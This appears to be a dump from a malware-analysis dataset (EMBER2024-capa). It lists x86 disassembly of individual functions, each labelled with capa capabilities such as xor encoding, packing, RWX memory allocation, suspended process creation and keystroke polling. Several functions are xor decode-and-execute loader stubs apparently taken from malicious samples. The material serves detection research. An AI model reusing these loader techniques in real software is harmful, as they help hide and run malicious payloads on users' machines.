joyce8/EMBER2024-capa huggingface dataset:
Function at 0x70012b7
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
pushal
call 0x70012c6
pop dword [ebp - 4]
mov eax, 0x95d6f3a0
sub eax, 0x8ed6e0da
sub dword [ebp - 4], eax
mov dword [ebp - 0x14], 0x95404ef2
add dword [ebp - 0x14], 0xb911f659
mov dword [ebp - 0x10], 0xb4d670b9
add dword [ebp - 0x10], 0x7d5cdb8c
mov dword [ebp - 0xc], 0x6dafc568
add dword [ebp - 0xc], 0xde9c7ec6
mov dword [ebp - 8], 0x958a09be
add dword [ebp - 8], 0x6a75f642
lea eax, [ebp - 0x14]
push eax
mov eax, 0xe3538006
sub eax, 0xdc523fd6
add eax, dword [ebp - 4]
call dword [eax]
mov dword [ebp - 0x14], 0x4fa8df6e
sub dword [ebp - 0x14], 0xdb367618
mov dword [ebp - 0x10], 0xb94956d5
add dword [ebp - 0x10], 0x88230aa0
mov dword [ebp - 0xc], 0x3bc9c64a
sub dword [ebp - 0xc], 0xd85a59de
mov dword [ebp - 8], 0xf02cde6a
add dword [ebp - 8], 0xfd32196
lea ebx, [ebp - 0x14]
push ebx
push eax
mov eax, 0xe0aede75
sub eax, 0xd9ad9e41
add eax, dword [ebp - 4]
call dword [eax]
push 0x40
push 0x1000
push 0x3a9d0
push 0
call eax
mov ecx, 0x49b8
mov ebx, eax
mov esi, 0x5f3815f3
add esi, 0xa7c9fe0d
add esi, dword [ebp - 4]
mov edx, 0x835f5b6b
mov edi, dword [esi]
xor edi, edx
mov dword [ebx], edi
add ebx, 4
add esi, 0x36d50ceb
sub esi, 0x36d50ce7
loop 0x70013dc
add eax, 0x5908c919
add eax, 0xa6f8509a
mov ebx, eax
add eax, 0x6edc638b
sub eax, 0x6edc6386
mov ecx, 0xdbb501b7
add ecx, 0x2b4afe49
add ecx, dword [ebp - 4]
call ebx
leave
ret

Function at 0x700dc1f
Capabilities:
Set current directory

Disassembly:
push 8
mov eax, 0x7012b4c
call fcn.07001ce0
mov edi, ecx
mov dword [ebp - 0x14], edi
mov esi, dword [ebp + 8]
push esi
call fcn.0700de1f
xor ebx, ebx
mov dword [edi], vtable.FileSharedStream.0
mov dword [edi + 0xc], ebx
mov byte [edi + 0x10], bl
mov eax, dword [esi + 0x14]
mov dword [edi + 0x14], eax
lea eax, [edi + 0x18]
push eax
mov dword [ebp - 4], ebx
call dword [sym.imp.kernel32.dll_InitializeCriticalSection]
mov ecx, esi
mov byte [ebp - 4], 1
call fcn.0700e7aa
lea ecx, [ebp - 0x10]
call fcn.0700dbbc
mov eax, dword [edi + 0x14]
mov byte [ebp - 4], 2
push dword [eax + 0x14]
call dword [sym.imp.kernel32.dll_SetCurrentDirectoryA]
mov eax, dword [edi + 0x14]
mov eax, dword [eax + 0xc]
test eax, eax
je 0x700dc8c
mov eax, dword [eax + 0x14]
jmp 0x700dc91
mov eax, 0x70148c2
push 0x7016240
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov dword [edi + 0xc], eax
pop ecx
pop ecx
test eax, eax
je 0x700dcbf
mov ecx, edi
call fcn.07007930
lea ecx, [ebp - 0x10]
call fcn.070012b7
mov eax, edi
call fcn.07001e84
ret 4
push str.file_does_not_exist
push ebx
call fcn.070012b7
int3
Function at 0x700e880
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, ecx
mov eax, dword [esi + 0xc]
test eax, eax
je 0x700e8e4
cmp byte [esi + 0x10], 0
je 0x700e8a2
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fflush]
mov eax, dword [esi + 0xc]
pop ecx
mov byte [esi + 0x10], 0
push edi
push eax
push dword [ebp + 0xc]
push 1
push dword [ebp + 8]
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
push dword [esi + 0xc]
mov edi, eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ferror]
add esp, 0x14
test eax, eax
je 0x700e8d2
push dword [esi + 0xc]
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_feof]
pop ecx
test eax, eax
je 0x700e8eb
push dword [esi + 0xc]
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
pop ecx
mov dword [esi + 8], eax
mov eax, edi
pop edi
jmp 0x700e8e6
xor eax, eax
pop esi
pop ebp
ret 8
push str.stream_read_error
push 0
call fcn.070012b7
int3

Function at 0x700eb50
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, ecx
mov eax, dword [esi + 4]
cmp byte [eax + 8], 0
jne 0x700eba3
cmp dword [esi + 0xc], 0
je 0x700eb9e
push dword [esi + 0xc]
push dword [ebp + 0xc]
push 1
push dword [ebp + 8]
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
push dword [esi + 0xc]
mov byte [esi + 0x10], 1
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ferror]
add esp, 0x14
test eax, eax
je 0x700eb91
push str.stream_write_error
jmp 0x700eba8
push dword [esi + 0xc]
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
pop ecx
mov dword [esi + 8], eax
pop esi
pop ebp
ret 8
push str.Attempt_to_write_read_only_stream
push 0
call fcn.070012b7
int3
Function at 0x401f10
Capabilities:
Get disk information
Inspect load icon resource
Read file on windows

Disassembly:
mov eax, dword [esp + 4]
sub esp, 0x148
push ebx
push esi
push edi
push 0x65
push eax
call dword [sym.imp.USER32.dll_LoadIconA]
lea ecx, [esp + 0xc]
call fcn.00401000
lea ecx, [esp + 0x50]
push 0x104
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [esp + 0x50]
lea ecx, [esp + 0xc]
push edx
call fcn.004012b0
test eax, eax
je 0x402021
lea eax, [esp + 0x50]
push 0x404030
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
add esp, 8
test esi, esi
je 0x402084
lea ecx, [esp + 0x50]
push ecx
lea ecx, [esp + 0x10]
call fcn.00401290
mov edi, dword [sym.imp.MSVCRT.dll_fseek]
sub eax, 8
push 0
push eax
push esi
call edi
mov ebx, dword [sym.imp.MSVCRT.dll_fread]
push esi
push 1
lea edx, [esp + 0x24]
push 8
push edx
call ebx
mov eax, dword [esp + 0x2c]
push 0
push eax
push esi
call edi
push esi
push 1
lea ecx, [esp + 0x48]
push 0x38
push ecx
call ebx
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
mov eax, dword [esp + 0x88]
mov edx, dword [esp + 0x50]
add esp, 0x3c
test eax, eax
mov eax, dword [esp + 0x10]
push edx
push eax
jne 0x401ffe
sub esp, 0x38
mov ecx, 0xe
lea esi, [esp + 0x58]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x90]
push ecx
lea ecx, [esp + 0x50]
call fcn.00401800
jmp 0x402084
sub esp, 0x38
mov ecx, 0xe
lea esi, [esp + 0x58]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x90]
push ecx
lea ecx, [esp + 0x50]
call fcn.00401a90
jmp 0x402084
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString_1
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov edi, eax
mov esi, 1
xor ebx, ebx
test edi, esi
je 0x40206a
mov dl, bl
lea ecx, [esp + 0x10]
add dl, 0x41
push edx
call sub.MFC42.DLL_CString::operator_1
push 0x40412c
lea ecx, [esp + 0x14]
call fcn.004020e2
lea ecx, [esp + 0xc]
mov eax, dword [esp + 0x10]
push eax
push 0
call fcn.00401cf0
add esi, esi
inc ebx
cmp ebx, 0x1a
jl 0x402039
lea ecx, [esp + 0xc]
call fcn.00401040
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0xc]
call fcn.00401030
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x148
ret 0x10

Function at 0x402496
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebx
push ecx
push edx
push esi
push edi
enter 0x84, 0
sub ebp, 0x82
mov esi, eax
mov edx, dword [0x404080]
or dl, 1
imul edx, eax
mov eax, dword [0x404080]
sub eax, edx
mov ebx, esi
mov edx, eax
mov eax, 0x404084
call fcn.004023df
xor eax, eax
mov dword [ebp + 0x7e], eax
lea eax, [ebp + 0x7e]
push eax
mov eax, esi
or al, 0x40
mov edi, 0x40365c
push eax
sub edi, fcn.00402e06
push edi
push fcn.00402e06
call dword [sym.imp.KERNEL32.DLL_VirtualProtect]
cmp dword [ebp + 0x7e], 0
je 0x402512
mov eax, fcn.00402e06
mov ebx, esi
mov edx, edi
call fcn.004023df
mov edx, 0x1c000
mov eax, 0x404084
mov ebx, esi
call fcn.004019bc
lea edx, [ebp - 2]
mov eax, esi
mov dword [ebp - 2], 1
call fcn.00401250
lea edx, [esi + 0x1c000]
add edx, esi
lea eax, [esi - 1]
lea ebx, [ebp - 2]
and eax, 0x404084
call fcn.00402e06
lea esp, [ebp + 0x82]
pop ebp
pop edi
pop esi
pop edx
pop ecx
pop ebx
ret
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..00cfg
nop
nop
push 4
nop
nop
nop
nop
nop
nop
nop
nop
pop edi
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
je 0x430072
nop
mov ebx, 0x408ecc
nop
nop
nop
mov ecx, ebx
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
push eax
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0x26d029eb
nop
nop
nop
xor dword [eax], esi
nop
add eax, edi
nop
nop
nop
nop
nop
nop
nop
nop
loop 0x430060
nop
mov eax, section..data
nop
cmp eax, 0
nop
nop
nop
nop
nop
nop
je 0x4300d2
nop
mov ebx, 0x42e1d0
nop
nop
nop
mov ecx, ebx
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
push eax
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0x10641e79
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
loop 0x4300c0
nop
nop
popal
nop
nop
nop
jmp 0x401219
Function at 0x409978
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffa8
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 4], ebx
mov edi, ecx
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x409a4b
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x409a64
push ebx
push 0x409a70
push esi
lea eax, [ebp - 4]
mov edx, 4
call fcn.00403388
lea eax, [ebp - 0x48]
xor ecx, ecx
mov edx, 0x44
call fcn.00402750
mov dword [ebp - 0x48], 0x44
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0x48]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.004033e8
push eax
push 0
call sub.kernel32.dll_CreateProcessA
test eax, eax
jne 0x4099f8
mov al, 0x69
call fcn.0040961c
mov eax, dword [ebp - 0x54]
push eax
call sub.kernel32.dll_CloseHandle_1
call fcn.0040994c
push 0xff
push 0xffffffffffffffff
push 0
lea eax, [ebp - 0x58]
push eax
push 1
call sub.user32.dll_MsgWaitForMultipleObjects
dec eax
je 0x409a01
call fcn.0040994c
push edi
mov eax, dword [ebp - 0x58]
push eax
call sub.kernel32.dll_GetExitCodeProcess
mov eax, dword [ebp - 0x58]
push eax
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x409a52
lea eax, [ebp - 4]
call fcn.0040316c
ret

Function at 0x409b04
Capabilities:
Allocate or change rwx memory
Get system information on windows

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffffbc
mov edi, eax
lea esi, [esp + 0x28]
lea eax, [esp + 4]
push eax
call sub.kernel32.dll_GetSystemInfo
mov ebx, edi
push 0x1c
push esi
push ebx
call sub.kernel32.dll_VirtualQuery
test eax, eax
je 0x409bb8
jmp 0x409bad
cmp dword [esi + 0x10], 0x1000
jne 0x409b99
test byte [esi + 0x15], 1
jne 0x409b99
xor ebx, ebx
mov eax, dword [esi + 0x14]
cmp eax, 1
je 0x409b58
cmp eax, 2
je 0x409b58
cmp eax, 0x10
je 0x409b58
cmp eax, 0x20
jne 0x409b6d
push esp
push 0x40
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
test eax, eax
je 0x409b6d
mov bl, 1
xor ebp, ebp
jmp 0x409b7e
mov eax, dword [esi]
add eax, ebp
call fcn.00409afc
add ebp, dword [esp + 8]
cmp ebp, dword [esi + 0xc]
jb 0x409b71
test bl, bl
je 0x409b99
push esp
mov eax, dword [esp + 4]
push eax
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
mov eax, dword [esi]
add eax, dword [esi + 0xc]
mov ebx, eax
push 0x1c
push esi
push ebx
call sub.kernel32.dll_VirtualQuery
test eax, eax
je 0x409bb8
mov eax, dword [esi + 4]
cmp eax, edi
je 0x409b30
add esp, 0x44
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x42e000
Capabilities:
Encode data using xor

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x42e00c
nop
nop
nop
nop
nop
pop eax
nop
add eax, 0x403ac5
sub eax, 0x403a6b
nop
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
jl 0x42e030
nop
nop
nop
nop
nop
add eax, 0xc
cmp dword [eax], 0
nop
nop
nop
jne 0x42e01e
nop
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp loc.00401219
Function at 0x40a79d
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x40f900
cmp edx, dword [eax]
je 0x40a7bf
add eax, 8
inc ecx
cmp eax, 0x40f990
jl 0x40a7b0
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x40f900]
jne 0x40a8ed
mov eax, dword [0xf0e82c]
cmp eax, 1
je 0x40a8c7
test eax, eax
jne 0x40a7f0
cmp dword [0x40f228], 1
je 0x40a8c7
cmp edx, 0xfc
je 0x40a8ed
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x40a827
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.00407ae0
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.00407bd0
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x40a86a
lea eax, [ebp - 0x1a4]
push eax
call fcn.00407bd0
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x40e48c
push edi
call fcn.00408230
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.00407ae0
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.00407af0
lea eax, [ebp - 0xa0]
push 0x40e46c
push eax
call fcn.00407af0
push dword [esi + 0x40f904]
lea eax, [ebp - 0xa0]
push eax
call fcn.00407af0
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.0040c96c
add esp, 0x2c
pop edi
jmp 0x40a8ed
lea eax, [ebp + 8]
lea esi, [esi + 0x40f904]
push 0
push eax
push dword [esi]
call fcn.00407bd0
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret

Function at 0x401000
Capabilities:
Log keystrokes via polling

Disassembly:
mov ecx, 0x5bfe
mov eax, ecx
mov dword [0x4b4752], eax
mov dword [0x4b4739], 0
mov eax, dword [0x4b4739]
mov dword [0x4b48ef], eax
mov dword [0x4b49c1], 0
mov eax, dword [0x4b49c1]
mov eax, ebx
xor ebx, eax
test dword [0x4b428b], eax
jne 0x401045
mov ebx, 0x19c2
sub eax, ebx
dec eax
shl eax, 1
ror eax, 1
or eax, dword [0x4b43b9]
je 0x401077
sub eax, dword [0x4b47dd]
dec eax
mov ebx, 0x11e8
add eax, ebx
dec eax
or eax, ebx
mov ebx, 0x1dd0
sub eax, ebx
add eax, dword [0x4b4a1d]
xor ebx, eax
sub eax, dword [0x4b46db]
shr eax, 1
add dword [0x4b42db], eax
jmp fcn.00402754
Function at 0x100082b2
Capabilities:
Write file on windows

Disassembly:
push 0x24
mov eax, 0x1001588f
call fcn.100136c7
mov esi, ecx
xor ebx, ebx
cmp dword [esi + 0x44], ebx
je 0x100083a3
cmp byte [esi + 0x49], bl
je 0x100083a3
mov eax, dword [esi]
push 0xffffffffffffffff
call dword [eax + 0xc]
cmp eax, 0xffffffff
jne 0x100082e7
xor al, al
jmp 0x100083a5
push ebx
push 8
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x18], 0xf
mov dword [ebp - 0x1c], ebx
mov byte [ebp - 0x2c], bl
call fcn.10007fd9
mov dword [ebp - 4], ebx
cmp dword [ebp - 0x18], 0x10
mov eax, dword [ebp - 0x2c]
jae 0x10008345
lea eax, [ebp - 0x2c]
mov edx, eax
mov ecx, dword [esi + 0x44]
mov edi, dword [ecx]
lea ebx, [ebp - 0x30]
push ebx
mov ebx, dword [ebp - 0x1c]
add eax, ebx
push eax
push edx
lea eax, [esi + 0x4c]
push eax
call dword [edi + 0x18]
sub eax, 0
je 0x1000834a
dec eax
je 0x1000834e
dec eax
dec eax
je 0x1000839f
xor bl, bl
push 0
push 1
lea ecx, [ebp - 0x2c]
call fcn.10002786
mov al, bl
jmp 0x100083a5
mov edx, dword [ebp - 0x2c]
jmp 0x10008310
mov byte [esi + 0x49], 0
cmp dword [ebp - 0x18], 0x10
mov eax, dword [ebp - 0x2c]
jae 0x1000835a
lea eax, [ebp - 0x2c]
mov edi, dword [ebp - 0x30]
sub edi, eax
je 0x10008381
cmp dword [ebp - 0x18], 0x10
mov eax, dword [ebp - 0x2c]
jae 0x1000836d
lea eax, [ebp - 0x2c]
push dword [esi + 0x54]
push edi
push 1
push eax
call dword [sym.imp.msvcr100.dll_fwrite]
add esp, 0x10
cmp edi, eax
jne 0x10008333
cmp byte [esi + 0x49], 0
je 0x1000839f
test edi, edi
jne 0x10008302
push edi
push 8
lea ecx, [ebp - 0x2c]
call fcn.10007de1
jmp 0x10008302
mov bl, 1
jmp 0x10008335
mov al, 1
call fcn.1001374a
ret
Function at 0x10008c0a
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
pushal
call 0x10008c19
pop dword [ebp - 0x34]
mov eax, 0x139b8e99
sub eax, 0x39b0280
sub dword [ebp - 0x34], eax
mov dword [ebp - 0x44], 0x683d29a9
add dword [ebp - 0x44], 0xe6151ba2
mov dword [ebp - 0x40], 0xa69ab0c0
add dword [ebp - 0x40], 0x8b989b85
mov dword [ebp - 0x3c], 0xab6d7df0
sub dword [ebp - 0x3c], 0x5f2139c2
mov dword [ebp - 0x38], 0x51292c40
add dword [ebp - 0x38], 0xaed6d3c0
lea eax, [ebp - 0x44]
push eax
mov eax, 0x355d56a1
sub eax, 0x255be57d
add eax, dword [ebp - 0x34]
call dword [eax]
mov dword [ebp - 0x44], 0x23baa0ca
add dword [ebp - 0x44], 0x50b7c88c
mov dword [ebp - 0x40], 0xa6c127b9
add dword [ebp - 0x40], 0x9aab39bc
mov dword [ebp - 0x3c], 0x7287aac4
sub dword [ebp - 0x3c], 0xf183e58
mov dword [ebp - 0x38], 0x8be35482
sub dword [ebp - 0x38], 0x8be35482
lea ebx, [ebp - 0x44]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x34]
call dword [eax]
push 0x40
push 0x1000
push 0x3d33b
push 0
call eax
mov ecx, 0x5b32
xor esi, esi
add esi, eax
mov edx, 0x240f8417
sub edx, 0x140cae17
add edx, dword [ebp - 0x34]
mov edi, 0x1acf3579
mov dword [ebp - 0x24], 0x56d451c5
mov ebx, dword [edx]
xor dword [ebp - 8], ebx
sub ebx, edi
sub dword [ebp - 0x20], 0xcf17ae59
mov dword [esi], ebx
add esi, 0xc444d532
sub esi, 0xc444d52e
add edx, 0x99af3f5c
add edx, 0x6650c0a8
loop 0x10008d2c
add eax, 0x7aceb18e
sub eax, 0x7acd51f3
mov ebx, eax
add eax, 0xd3c14f20
add eax, 0x2c3eb0e5
mov ecx, 0x10000000
add ecx, dword [ebp - 0x34]
call ebx
leave
ret

Function at 0x1000bc24
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push ebx
mov ebx, dword [sym.imp.kernel32.dll_GetTickCount]
push esi
push edi
call ebx
xor ecx, ecx
mov dword [ebp - 0xc], eax
cmp dword [ebp + 0x1c], ecx
jg 0x1000bc56
jl 0x1000bc46
cmp dword [ebp + 0x18], ecx
jae 0x1000bc56
mov dword [ebp - 8], 1
mov dword [ebp - 4], 0x14
jmp 0x1000bc6e
push 0x14
mov dword [ebp - 8], ecx
pop eax
cmp dword [ebp + 0x1c], ecx
jg 0x1000bc6b
jl 0x1000bc68
cmp dword [ebp + 0x18], eax
jae 0x1000bc6b
mov eax, dword [ebp + 0x18]
mov dword [ebp - 4], eax
push dword [ebp - 4]
push dword [ebp + 0x10]
call dword [sym.imp.kernel32.dll_WaitForSingleObject]
cmp eax, 0x102
jne 0x1000bcd3
xor edi, edi
cmp byte [ebp + 0x20], 0
mov esi, 0xf80001
je 0x1000bc93
mov esi, 0x4ff0001
push esi
xor eax, eax
push eax
push eax
push eax
lea eax, [ebp - 0x28]
push eax
call dword [sym.imp.user32.dll_PeekMessageA]
test eax, eax
je 0x1000bcc1
lea eax, [ebp - 0x28]
push eax
inc edi
call dword [sym.imp.user32.dll_TranslateMessage]
lea eax, [ebp - 0x28]
push eax
call dword [sym.imp.user32.dll_DispatchMessageA]
cmp edi, 0x64
jl 0x1000bc93
cmp dword [ebp - 8], 0
jne 0x1000bc6e
call ebx
mov ecx, dword [ebp + 0x18]
add ecx, dword [ebp - 0xc]
cmp eax, ecx
jb 0x1000bc6e
pop edi
pop esi
pop ebx
leave
ret 0x1c
Function at 0x1000d7ac
Capabilities:
Get common file path

Disassembly:
push ebp
sub esp, 0x208
lea ebp, [esp - 4]
mov eax, dword [0x10022df0]
xor eax, ebp
mov dword [ebp + 0x208], eax
push 0xc
mov eax, 0x10015f92
call fcn.10013691
mov esi, dword [ebp + 0x214]
xor ebx, ebx
lea eax, [ebp]
push eax
push ebx
push ebx
push 0x1a
push ebx
mov byte [esi], bl
mov dword [ebp - 4], ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
mov edi, eax
cmp edi, ebx
jge 0x1000d806
push edi
push str.Error:_08x_in_SHGetFolderPathW_NULL__CSIDL_APPDATA__NULL__0__szPath_
call fcn.100108bc
pop ecx
pop ecx
push ebx
push edi
call fcn.10008c0a
lea eax, [ebp]
push eax
lea ecx, [ebp - 0x14]
call fcn.1000e5f7
mov ecx, dword [eax]
mov byte [ebp - 4], 1
cmp ecx, ebx
je 0x1000d823
call fcn.1000e489
jmp 0x1000d825
xor eax, eax
push 0x104
push eax
push dword [ebp + 0x218]
push esi
call dword [sym.imp.msvcr100.dll__mbsnbcpy_s]
mov ecx, dword [ebp - 0x14]
add esp, 0x10
cmp ecx, ebx
je 0x1000d871
call fcn.1000e7cb
jmp 0x1000d871
xor eax, eax
cmp edi, ebx
setge al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x208]
xor ecx, ebp
call fcn.10013502
add ebp, 0x20c
leave
ret

Function at 0x1000d89b
Capabilities:
Get common file path

Disassembly:
push ebp
sub esp, 0x208
lea ebp, [esp - 4]
mov eax, dword [0x10022df0]
xor eax, ebp
mov dword [ebp + 0x208], eax
push 0xc
mov eax, 0x10015fc2
call fcn.10013691
mov esi, dword [ebp + 0x214]
xor ebx, ebx
lea eax, [ebp]
push eax
push ebx
push ebx
push 0x23
push ebx
mov byte [esi], bl
mov dword [ebp - 4], ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
mov edi, eax
cmp edi, ebx
jge 0x1000d8f5
push edi
push str.Error:_08x_in_::SHGetFolderPathW_0__CSIDL_COMMON_APPDATA__NULL__SHGFP_TYPE_CURRENT__szPath_
call fcn.100108bc
pop ecx
pop ecx
push ebx
push edi
call fcn.10008c0a
lea eax, [ebp]
push eax
lea ecx, [ebp - 0x14]
call fcn.1000e5f7
mov ecx, dword [eax]
mov byte [ebp - 4], 1
cmp ecx, ebx
je 0x1000d912
call fcn.1000e489
jmp 0x1000d914
xor eax, eax
push 0x104
push eax
push dword [ebp + 0x218]
push esi
call dword [sym.imp.msvcr100.dll__mbsnbcpy_s]
mov ecx, dword [ebp - 0x14]
add esp, 0x10
cmp ecx, ebx
je 0x1000d960
call fcn.1000e7cb
jmp 0x1000d960
xor eax, eax
cmp edi, ebx
setge al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x208]
xor ecx, ebp
call fcn.10013502
add ebp, 0x20c
leave
ret
Function at 0x1000e055
Capabilities:
Get common file path

Disassembly:
push 0x14
mov eax, 0x10016022
call fcn.10013691
mov esi, dword [ebp + 8]
xor eax, eax
xor edi, edi
xor ebx, ebx
mov word [esi], ax
mov dword [ebp - 4], edi
call fcn.10008c0a
test eax, eax
je 0x1000e080
call fcn.1000e046
mov ebx, eax
push 0x104
push esi
push ebx
push edi
push 0x100173dc
call dword [sym.imp.SHELL32.dll_SHGetFolderPathEx]
mov esi, eax
cmp esi, edi
jge 0x1000e0db
push esi
push str.Error:_08x_in_SHGetFolderPathEx_FOLDERID_LocalAppDataLow__0__hToken__pPath__MAX_PATH_
call fcn.100108bc
pop ecx
pop ecx
push edi
push esi
call fcn.10008c0a
mov ecx, dword [ebp - 0x18]
mov esi, dword [ecx + 4]
mov dword [ebp - 0x14], esi
call fcn.1000e72f
push eax
push esi
push 0x100197c4
call fcn.100108bc
or dword [ebp - 4], 0xffffffff
add esp, 0xc
mov eax, 0x1000e0d4
ret
cmp ebx, edi
je 0x1000e0e6
push ebx
call dword [sym.imp.kernel32.dll_CloseHandle]
or dword [ebp - 4], 0xffffffff
cmp esi, edi
jge 0x1000e197
push dword [ebp + 8]
mov dword [ebp - 4], 2
push edi
push edi
push 0x1a
push edi
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
mov esi, eax
cmp esi, edi
jge 0x1000e143
push esi
push str.Error:_08x_in_SHGetFolderPathW_NULL__CSIDL_APPDATA__NULL__0__pPath_
jmp 0x1000e09f
or dword [ebp - 4], 0xffffffff
cmp esi, edi
jge 0x1000e197
push 1
push 0x1a
push dword [ebp + 8]
mov dword [ebp - 4], 4
push edi
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
mov esi, eax
cmp esi, edi
jge 0x1000e197
push esi
push str.Error:_08x_in_SHGetSpecialFolderPathW_NULL__pPath__CSIDL_APPDATA__TRUE_
jmp 0x1000e09f
mov eax, esi
call fcn.10013736
ret

Function at 0x1000e4df
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
lea ebp, [esp - 0xa0]
sub esp, 0x120
mov eax, dword [0x10022df0]
xor eax, ebp
mov dword [ebp + 0x9c], eax
mov eax, dword [ebp + 0xa8]
push ebx
push esi
push edi
mov edi, ecx
mov ecx, dword [edi + 4]
or ecx, 0x2001f
push ecx
push eax
push dword [edi]
xor esi, esi
lea ecx, [ebp - 0x74]
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x74], esi
mov dword [ebp - 0x70], esi
mov dword [ebp - 0x6c], esi
call fcn.10008c0a
mov ebx, eax
cmp ebx, esi
je 0x1000e552
lea ecx, [ebp - 0x74]
call fcn.10001ba0
mov eax, ebx
mov ecx, dword [ebp + 0x9c]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10013502
add ebp, 0xa0
leave
ret 4
mov ebx, dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
jmp 0x1000e56a
lea eax, [ebp - 0x64]
push eax
lea ecx, [ebp - 0x74]
call fcn.1000e4df
cmp eax, esi
jne 0x1000e59c
lea eax, [ebp - 0x80]
push eax
push esi
push esi
push esi
lea eax, [ebp - 0x68]
push eax
lea eax, [ebp - 0x64]
push eax
push esi
push dword [ebp - 0x74]
mov dword [ebp - 0x68], 0x100
call ebx
test eax, eax
je 0x1000e55a
lea ecx, [ebp - 0x74]
call fcn.10001ba0
